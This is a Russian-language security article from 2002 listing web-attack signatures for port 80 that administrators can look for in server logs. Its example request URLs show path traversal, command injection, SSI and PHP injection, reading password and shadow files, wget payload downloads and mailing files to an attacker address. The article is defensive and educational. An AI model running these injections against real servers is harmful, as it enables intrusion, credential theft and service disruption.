Следы атак по 80 порту: исследование сигнатур атак
 
Автор Security Lab (Все статьи)
Опубликовано16.07.2002
Источник http://securitylab.ru/
РазделБезопасность
Просмотров8146
Оцените статью!
  • Рейтинг статьи - 0.00 из 5
  • 1
  • 2
  • 3
  • 4
  • 5

Следы атак по 80 порту: исследование сигнатур атак

1. Вступление
2. Простые сигнатуры
3. Продвинутые сигнатуры
4. Переполнения
5. Шестнадцатеричное кодирование
6. Заключение

 

 

Вступление

Порт 80 является стандартным для web-сайтови может иметь много различных проблембезопасности. Эти дыры могут позволитьхакеру получить административный доступ кweb-сайту, или даже к самому web-серверу. В этойстатье рассмотрены некоторые сигнатуры,характерные для таких атак, а также то, чтоследует искать в логах.

Простые сигнатуры

В этом разделе вы найдете стандартныеследы взлома web-серверов и web-приложений. Выне увидите здесь все возможные вариантыатак, но узнаете, как они обычно выглядят.Эти сигнатуры охватят большинствоизвестных и неизвестных дыр, которые хакерымогут использовать против вас. Также здесьописано, для чего используется каждая изсигнатур, или как может быть использованапри атаке.

Запросы "." ".." and "..."

Это наиболее часто встречающиесясигнатуры атак как в web-приложениях, так и вweb-серверах. Они используются хакером иличервем для смены директорий на сервере,чтобы получить доступ к непубличнымразделам. Большинство CGI-дыр содержатзапросы "..".

Пример:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

Данная команда показывает хакеру "Messageof the Day". Если хакер имеет возможностьпросматривать на вашем web-сервередиректории вне web-корневой, он может собратьдостаточно информации для получения нужныхпривилегий.

Запросы "%20"

Это шестнадцатеричное значение символапробела. Его наличие еще не означает, чтовас атаковали, так как некоторые web-приложенияиспользуют его при правомерных запросах.Однако, этот запрос также можетиспользоваться при запуске команд. Так чтобудьте внимательны при проверке логов.

Пример:
http://host/cgi-bin/lame.cgi?page=ls%20-al| (стандартная для UNIX-системкоманда ls -al)

В этом примере показывается, как хакерзапускает команду ls под UNIX с передачей ейаргумента. Этот аргумент дает хакеру полныйлистинг директории, что может помочь хакеруполучить доступ к важным файлам в вашейсистеме или подсказать, как получитьдополнительные привилегии.

Запросы "%00"

Это шестнадцатеричный код нулевого байта.Может использоваться, чтобы обмануть web-приложение,будто был запрошен другой файл.

Пример:
http://host/cgi-bin/lame.cgi?page=index.html

Показанный пример может быть разрешеннымзапросом на сервере. Если хакер обнаружитэто, он наверняка использует запрос дляпоиска дыр на нем.

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

Web-приложение может запретить этот запрос,если проверяет, чтобы имена файловзаканчивались на .htm, .html, .shtml, или другиеразрешенные расширения. Многие приложенияпосчитают запрошенный тип файланедопустимым. И зачастую дадут ответ хакеру,что файл должен иметь разрешенный тип.Таким образом хакер может получить именадиректорий, файлов, и затем, возможно,собрать больше информации о вашей системе.

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00.html

При таком запросе приложение считает, чтоимя файла относится к разрешенному типу.Некоторые web-приложения плохо проводятпроверку на правильность запроса файла,поэтому это частый метод, используемыйхакером.

Запросы "|"

Вертикальная черта (pipe), частоиспользуется в UNIX для запуска несколькихкоманд одновременно в одном запросе

Пример:
cat access_log| grep -i ".."

(Этот пример показывает проверку лога наприсутствие запросов ”..”, которые частоиспользуются хакерами и червями.) Web-приложениячасто используют этот символ, поэтому егоналичие в логах может оказаться ложнойтревогой. Чтобы понизить частоту ложныхтревог, необходим тщательный анализ вашегопрограммного обеспечения и его работы.

Несколько примеров:

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|

Этот запрос является обычным вызовом “ls”.Ниже приведены другие варианты этогозапроса.

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|

Этот запрос выдает полный листингдиректории “etc”.

http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"

Данный запрос запускает команду "cat",а затем “grep” с аргументом “-i”.

Запрос ";"

Этот символ позволяет запускатьнесколько команд в одной строке в UNIX-системе.

Пример:
id;uname –a (Запускается команда “id”, затем “uname”)

Web-приложения часто используют этотсимвол, поэтому возможны ложные тревоги.Повторю, тщательное изучение вашегопрограммного обеспечения и его работыпонизит уровень ложных тревог.

Запросы "<" и ">"

Эти символы следует проверять в логах помногим причинам, первая из которых в том,что они используются для вывода данных вфайл.

Пример 1:
echo "your hax0red h0 h0" >> /etc/motd

(Это пример записи информации в файл.)Хакер может использовать такой запроснапример для дефейса вашего web-сайта.Знаменитый эксплоит RDS от rain.forest.puppy частоиспользовался хакерами для вводаинформации в главную страницу web-сайтов.Примеры взломанных web-сайтов с белымистраницами, без форматирования, ищите наattrition.org.

Пример 2:
http://host/something.php=<b>Hi%20mom%20I'm%20Bold!</b>

Это пример cross-site скриптовой атаки. HTML тэгииспользуют символы "<" и ">".Хотя такая атака не дает хакеру доступ ксистеме, она может использоваться длявведения людей в заблуждение относительноадекватности информации на сайте. (Конечно,им нужно посетить нужную хакеру ссылку.Этот запрос может быть замаскированкодированием символов в шестнадцатеричномвиде, чтобы не быть столь очевидным.)

Запросы “!”

Этот символ часто используется в SSI (Server SideInclude) атаках. Эта атака может дать хакерурезультаты, аналогичные предыдущей атаке,когда обманутый пользователь нажимает нассылку.

Пример:
http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html"-->

В этом примере присоединяется файл с host2,при этом создается впечатление, будто оннаходится на host1. Как и в прошлый раз, длявыполнения атаки пользователь долженпосетить нужную хакеру ссылку.

Кроме того, это позволяет хакерузапускать команды на вашей системе справами пользователя web-сервер.

Пример:
http://host/something.php=<!%20#<!--#exec%20cmd="id"-->

Запускает команду "id" на удаленнойсистеме. Она должна показатьпользовательский id web-сервера, которыйобычно называется "nobody" или "www".

Также это может позволить присоединениескрытых файлов.

Пример:
http://host/something.php=<!%20--#include%20virtual=".htpasswd"-->

Эта команда присоединяет файл .htpasswd. Этотфайл не должен быть доступен каждому, и вApache даже встроено правило, запрещающеедоступ к .ht. SSI тэг обходит это, что можетвызвать проблемы с безопасностью.

Запросы "<?"

Часто используются при попытке вставитьPHP в удаленное web-приложение. Делаетвозможным запуск команд в зависимости отустановок сервера и других факторов.

Пример:
http://host/something.php=<? passthru("id");?>

При плохо написанном PHP-приложении можетзапустить команду на удаленном компьютерес привилегиями пользователя web-сервер.

Кроме того, хакер может записать этотзапрос в шестнадцатеричном виде. Обращайтевнимание на все нестандартное ианализируйте все подозрительное.

Запросы "`"

Символ обратного штриха частоиспользуется в Perl для запуска команд. Он неиспользуется в нормальных web-приложениях,так что если увидите его в логах –воспримите это серьезно.

Пример:
http://host/something.cgi=`id`

На плохо написанном Perl web-приложении, этакоманда запустит команду “id”.

Продвинутые сигнатуры

В этом разделе описаны запускаемыехакерами команды и запрашиваемые файлы, атакже как обнаружить, что вы уязвимы кудаленному запуску команд. Хотя это неполный список команд и файлов,запрашиваемых хакерами, это поможет вампонять, что предпринимается против вашейсистемы.

"/bin/ls"

Это исполняемый модуль команды “ls”. Ончасто запрашивается с полным путем вомногих дырах web-приложений. Если вы увидитеэтот запрос в ваших логах, высокавероятность того, что ваша системаподвержена удаленному запуску команд.Однако, это не всегда является проблемой иможет оказаться ложным сигналом. Повторювновь, важно изучить работу вашего web-приложения.Если это возможно, попробуйте сделатьзапрос, найденный в логах и посмотрите нарезультат.

Пример:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?doh=ls%20-al;

"cmd.exe"

Это Windows shell. Хакер, имеющий доступ назапуск этого скрипта, наверняка сможетсделать что-нибудь на вашей машине, взависимости от установленных разрешений.Большинство Internet-червей, работающих через 80порт, используют cmd.exe для распространенияна другие удаленные системы.

Пример:
http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:

"/bin/id"

Это исполняемый модуль команды “id”. Ончасто запрашивается с полным путем вомногих дырах web-приложений. Если вы увидитеэтот запрос в ваших логах, высокавероятность того, что ваша системаподвержена удаленному запуску команд.Однако, это не всегда является проблемой иможет оказаться ложным сигналом. Повторювновь, важно изучить работу вашего web-приложения.Если это возможно, попробуйте сделатьзапрос, найденный в логах и посмотрите нарезультат.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
http://host/cgi-bin/bad.cgi?doh=id;

Команды "wget and tftp"

Эти команды часто используются хакерами ичервями для загрузки дополнительных файлов,которые могут использоваться для получениядополнительных системных привилегий. wget –это команда UNIX, может использоваться длязагрузки backdoor. tftp – это UNIX и NT команда,предназначенная для передачи файлов.Некоторые IIS черви используют tftp длязагрузки своей копии на зараженныйкомпьютер, и продолжают распространяться.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;

Команда “cat”

Часто используется для просмотрасодержимого файлов. Может использоватьсядля чтения важной информации, такой какконфигурационные файлы, файлы паролей, и др.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

Команда “echo”

Эта команда часто используется дляприсоединения данных к файлу, например кindex.html.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt|
http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;

Команда “ps”

Показывает список запущенных процессов.Это может подсказать хакеру, какоепрограммное обеспечение запущено наудаленном компьютере и какие дырыбезопасности он может иметь.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
http://host/cgi-bin/bad.cgi?doh=ps%20-aux;

Команды "kill и killall"

Эти команды используются для закрытияпроцессов в UNIX системе. Хакер можетиспользовать их для остановки системногосервиса или программы. Также хакер можетиспользовать их для сокрытия следов своегоэксплоита, породившего много дочернихпроцессов, или некорректно завершившегося.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

Команда “uname”

Часто используется хакерами дляопределения имени удаленной машины. Частовебсайт хостится у ISP, и эта команда можетподсказать, к какому ISP он может получитьдоступ. Обычно запрашивается “uname -a” и влогах это выглядит как “uname%20-a”.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
http://host/cgi-bin/bad.cgi?doh=uname%20-a;

Команды компиляторов/интерпретаторов"cc, gcc, perl, python, etc..."

Команды “cc” и “gcc” позволяюткомпилировать программы. Хакер можетиспользовать wget или tftp для закачки файлов, азатем использовать эти компиляторы длясоздания эксплоита. С этого моментавозможно все, включая взлом локальнойсистемы.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;

Если вы увидите запрос к “Perl” или “python”,возможно, что хакер закачал Perl или pythonскрипт, и пытается взломать вашу систему.

Команда “mail”

Эта команда может использоваться хакеромдля отправки файлов на e-mail адрес хакера.Также может использоваться для рассылкиспама.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd|
http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<</tmp/wu-2.6.1.c;

Команды "xterm / другие X-приложения"

Xterm часто используется для получениядоступа к shell удаленной системы. Если выобнаружите ее в своих логах, отнеситесь кэтому очень серьезно, как к возможносерьезной бреши в безопасности. Ищите влогах запрос, содержащий "%20-display%20". Этиследы часто указывают на попытку запуститьxterm или другое X-приложение на удаленномхосте.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|
http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;

Команды "chown, chmod, chgrp, chsh, и др..."

Эти команды позволяют устанавливатьдоступ в UNIX системах. Ниже описано, что ониделают.

chown позволяет устанавливатьпринадлежность файла пользователю

chmod позволяет устанавливать доступ кфайлу

chgrp позволяет устанавливатьпринадлежность файла группе

chsh позволяет менять shell, используемыйпользователем.

Примеры:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|
http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|
http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|

Файл "/etc/passwd"

Это файл системных паролей. Обычно он несодержит зашифрованных паролей (т.е. “shadowed”).Однако, может дать хакеру именапользователей, системные пути и, возможно,хостящиеся сайты. Если этот файл “shadowed”,хакер будет пытаться смотреть файл /etc/shadow.

Файл "/etc/master.passwd"

Файл паролей в BSD-системе, содержащийзашифрованные пароли. Доступен для чтениятолько эккаунтом root, но хакер можетпопытаться его прочитать, в надежде наудачу. Если web-сервер запущен с правами root,хакер сможет прочитать этот файл, асистемный администратор может ожидатьбольших проблем.

Файл "/etc/shadow"

Системный UNIX-файл, содержащийзашифрованные пароли. Доступен для чтениятолько эккаунтом root, но хакер можетпопытаться его прочитать, в надежде наудачу. Если web-сервер запущен с правами root,хакер сможет прочитать этот файл, асистемный администратор может ожидатьбольших проблем.

Файл "/etc/motd"

Системный файл "Message of the Day" (тема дня)содержит первое сообщение, которое видитпользователь, входящий в UNIX-систему. Онможет содержать важную информацию,адресованную от администраторапользователям, а также версию операционнойсистемы. Хакер может регулярно проверятьэтот файл и знать, какая используетсясистема. Затем он исследует ее на предметэксплоитов, дающих дополнительный доступ кэтой системе.

Файл "/etc/hosts"

Этот файл дает информацию об IP-адресах исетевой информации. Хакер можетиспользовать его для поиска дополнительнойинформации о ваших системных/сетевыхнастройках.

Файл "/usr/local/apache/conf/httpd.conf"

Путь к этому файлу бывает разным, здесьпредставлен наиболее часто встречающийся.Это конфигурационный файл web-сервера Apache. Онможет дать хакеру информацию о хостящихсясайтах и более специфическую, например одоступе к CGI или SSI.

Файл "/etc/inetd.conf"

Это конфигурационных файл сервиса inetd. Онсодержит системные демоны, используемыеудаленным компьютером. Также можетподсказать хакеру, использует ли удаленнаясистема wrapper для каждого демона. Еслииспользует, тогда хакер проверит "/etc/hosts.allow"и "/etc/hosts.deny", и возможно изменит ихсодержимое, если это даст емудополнительные привилегии.

Файлы ".htpasswd, .htaccess, и .htgroup"

Эти файлы используются дляаутентификации на web-сайте. Хакерпопытается просмотреть содержимое этихфайлов для получения имен пользователей ипаролей. Пароли находятся в файле htpasswd изашифрованы. Простой взломщик паролей инекоторое потраченное время даст хакерудоступ к некоторым защищенным паролямисессиям на вашем web-сайте, а возможно, и кдругим эккаунтам. (Многие люди используютвезде одинаковые имена пользователя ипароли, и зачастую это дает хакеру доступ кдругим эккаунтам, которые может иметь этотпользователь.)

Файлы "access_log and error_log"

Это лог-файлы web-сервера Apache. Хакер можетпроверять их, чтобы увидеть, как записалисьего запросы и запросы других пользователей.

Часто хакеры редактируют эти файлы, чтобыудалить следы своего присутствия. Тогдастановится сложно обнаружить хакера,атаковавшего вашу систему через 80 порт,если только не создаются резервные копииили не ведется двойное логгирование.

Файлы "[drive-letter]:winnt epairsam._ или [drive-letter]:winnt epairsam"

Это имена файлов паролей Windows NT. Хакерчасто запрашивает эти файлы, если неразрешен удаленный запуск команд. Далее, онзапустит программу типа “l0pht crack”, чтобывзломать пароли на удаленной windows-системе.Если он сможет взломать парольадминистратора, удаленный компьютер в егоруках.

 

Переполнения

Мы не будем углубляться в переполнениябуфера, но покажем примеры того, как этовыглядит. Переполнения буфера частопрячется с помощью кодирования и другихприемов.

Простой пример:
http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

В этом примере хакер посылает множество“A” в приложение и проверяет его напереполнение буфера. Переполнение буфераможет позволить хакеру удаленный запусккоманд. Если приложение имеет права root, этоможет дать полный доступ к системе.

Вариантов, как может выглядетьпереполнение буфера, великое множество, имы не будем рассматривать их в этой статье.Регулярно проверяйте логи. Если вы увидитеогромные запросы в то время, как для вашегосайта характерны короткие, вероятно этобыла попытка хакера вызвать переполнениебуфера или новая разновидность Интернет-червяатакует вашу машину.

Шестнадцатеричное кодирование

Хакеры знают, что часто IDS системыпроверяют запросы слишком буквально.Поэтому они часто кодируют свои запросы вшестнадцатеричном формате, и IDS пропускаетих. Хороший пример этого - CGI сканер,известный как Whisker. Если вы просмотрели логии увидели огромное количествошестнадцатеричных или других необычныхсимволов, вероятно, что хакер пытался каким-тообразом взломать вашу систему. Быстрыйспособ проверить, что означает этотшестнадцатеричный код – это скопироватьего из лога и вставить в адресную строкуброузера. Если вы не получите ошибку 404,тогда шестнадцатеричный код преобразуетсяи вы увидите его вместе с результатомдействия. Если вы не хотите так рисковать,смотрите для расшифровки ASCII коды.

Заключение

Эта статья не охватывает все эксплоиты 80порта, но охватывает наиболее частые типыатак. Она также объясняет вам, что искать влогах, и что добавить в правила IDS. Надеюсьтакже, статья поможет web-разработчикамлучше писать web-приложения.

Отзывы о статье Следы атак по 80 порту: исследование сигнатур атак

Intruder [18-04-2005]

Ну ничего так. Беру на заметку. 31337 фарева!
| | Ответить

Смотреть все отзывы (1) / Добавить отзыв